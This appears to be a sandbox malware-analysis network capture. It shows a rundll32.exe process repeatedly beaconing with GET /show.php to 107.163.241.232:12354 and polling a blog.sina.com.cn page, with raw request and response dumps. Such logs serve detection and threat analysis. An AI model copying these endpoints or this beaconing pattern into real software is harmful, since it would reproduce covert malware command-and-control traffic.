Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	52287	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:47.393599033 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:48.972421885 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:48 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	54230	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:49.381890059 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	54505	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:49.639357090 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	56345	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:51.306694031 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	56391	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:51.464055061 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	56393	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:51.511574984 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:53.031333923 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:52 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	57204	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:53.526899099 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	57387	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:53.703222036 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	58099	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:55.426562071 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	58178	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:55.555797100 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:26:57.119369984 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:26:56 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	58179	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:55.556021929 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	59753	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:57.660661936 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	59835	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:57.780939102 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	60912	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:59.440330029 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	61004	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:59.551230907 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	61005	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:26:59.555228949 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:27:01.134193897 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:00 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	62581	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:01.857419968 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	62583	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:02.051911116 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	63454	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:03.455867052 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	63491	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:03.575375080 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:27:05.148854971 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:04 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	63492	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:03.580071926 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	65033	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:05.714147091 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	65127	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:05.821299076 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49924	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:07.119528055 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	50256	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:07.470454931 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	50429	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:07.583343983 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:27:09.180619001 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:08 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	50430	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:07.585263014 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	52169	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:09.735340118 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	52266	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:09.848761082 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	52676	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:11.548702002 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	52682	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:11.781723022 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	52685	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:12.010281086 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:27:13.575594902 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:13 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	53560	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:13.872353077 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	53566	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:14.008095026 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	54654	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:15.675461054 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	54806	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:15.791196108 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	54807	202.108.0.52	80	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:15.792547941 CET	214	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Cookie: U_TRS1=0000001c.56b72a51.6759aee6.6d0a7c41; U_TRS2=0000001c.56c02a51.6759aee6.c0f9f2a6
Dec 11, 2024 16:27:17.371720076 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:27:17 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	56588	107.163.241.232	12354	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:27:17.911220074 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.232:12354 Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49794	202.108.0.52	443	5492	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 15:25:26 UTC	142	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn Connection: Keep-Alive
